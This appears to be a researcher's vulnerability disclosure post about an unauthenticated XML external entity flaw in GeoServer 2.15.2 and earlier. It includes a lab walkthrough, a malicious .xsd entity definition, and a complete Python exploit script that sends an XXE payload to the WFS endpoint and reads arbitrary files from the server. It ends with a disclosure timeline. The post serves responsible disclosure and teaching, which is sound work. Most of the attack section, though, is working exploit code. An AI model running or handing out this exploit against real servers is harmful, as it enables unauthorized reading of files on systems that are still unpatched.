Offensive Security and Application Security Perspectives

Vulnerability Research

XXE in GeoServer

Vulnerable Versions: 2.15.2, 2.14.4, and all versions before

Google Dork of Internet Accessible GeoServers

GeoServer is an open source server that allows users to share geospatial data. An unauthenticated xml external entity (XXE) vulnerability existed in all versions before September 2020. The XXE occurs in an error message after forcing GeoServer to resolve an external entity.

Impact

This vulnerability allows unauthenticated users to read arbitrary files.

Walkthrough

  • Geoserver is hosted in Virtual Box at 10.10.10.2 with the default settings.
  • My linux host is hosted in Virtual Box at 10.10.10.100.
The default homepage of GeoServer. Notice the vulnerable version.

The contents, below, were placed in geoserver.xsd of my linux host.

<!ENTITY % param "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/%read'’>">

I hosted geoserver.xsd on a webserver from my linux host.

python3 -m http.server
OR
python -m SimpleHTTPServer

Exploit

#!/usr/bin/env python
# Title: Geoserver <= 2.15.1 XML External Entity Injection (XXE)
# URL: http://geoserver.org
# Description: Geoserver, version 2.15.2 and below, is vulnerable to an
XXE vulnerability that allows unauthenticated users to read
arbitrary directories and files on the underlying OS.

# IMPORTANT: A xsd file has to be hosted on a webserver and accessible by the
targeted Geoserver before running this exploit.
# Step 1: Place this single line into xml.xsd: <!ENTITY % param "<!ENTITY
&#x25; send SYSTEM 'http://127.0.0.1/%read;'>">
# Step 2: Start a web server: python -m SimpleHTTPServer
# Step 3: Verify that http://IP:PORT/xml.xsd returns a HTTP 200 response.
# Step 4: Run the exploit. Usage: python xxe.py "http://IP/geoserver"
"http://IP:PORT/xml.xsd" "C:\"
import requests, argparse, urllib3, re
# Help menu
parser = argparse.ArgumentParser(description='Geoserver, version 2.15.1 and
 below, is vulnerable to an XXE vulnerability that allows unauthenticated users
 to read arbitrary directories and files on the underlying OS.')
parser.add_argument('rhost', help='Geoserver\' s root web URL without the
"/web/".')
parser.add_argument('xsd', help='The url of the .xsd file. (Read the comments
 at the top of the exploit.)')
parser.add_argument('read', help='The file or directory to read (Determine
 the OS, C:\ or /)')
args = parser.parse_args()
rhost = args.rhost
xsd = args.xsd
read = args.read

# Displaying some info and disabling any SSL cert warnings.
print "[+] Geoserver <= 2.15.1 XML External Entity Injection (XXE)"
print "[+] Printing the contents of: " + read
print ""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

#Setting up the XXE payload
payload = (

"<?xml version='1.0' encoding='UTF-8'?>"
"<!DOCTYPE x ["
"<!ENTITY % read SYSTEM 'file:///" + read + "'>"
"<!ENTITY % rr SYSTEM '" + xsd + "'>"
"%rr;"
"%param;"
"%send;"
"]>"
"<x></x>"
)

# Sending the XXE payload.
send = requests.get(rhost + '/wfs', params = {'service' : 'WFS', 'version' : '1.0.0', 'request' : 'GetFeature', 'typeName' : 'topp:states', 'filter' : payload}, verify=False)
if send.status_code == 200:
    result = re.search('Entity resolution disallowed for http://127.0.0.1/(.*)Entity resolution disallowed for http://127.0.0.1/',
send.content, re.DOTALL)
    print result.group(1)
else:
    print "An error occurred somewhere."
Running the exploit and checking the help section with “-h”
Reading the Geoserver “data” directory with the exploit.

Timeline

  • May 3, 2019 – Disclosed to Geoserver
  • May 13, 2019 – Geoserver acknowledged that they were looking in to it.
  • May – July 2019 – I helped them retest the issue. New releases did not fix the issue. I continued to retest.
  • August 2019 – I retested and confirmed that the fix worked. All versions were fixed.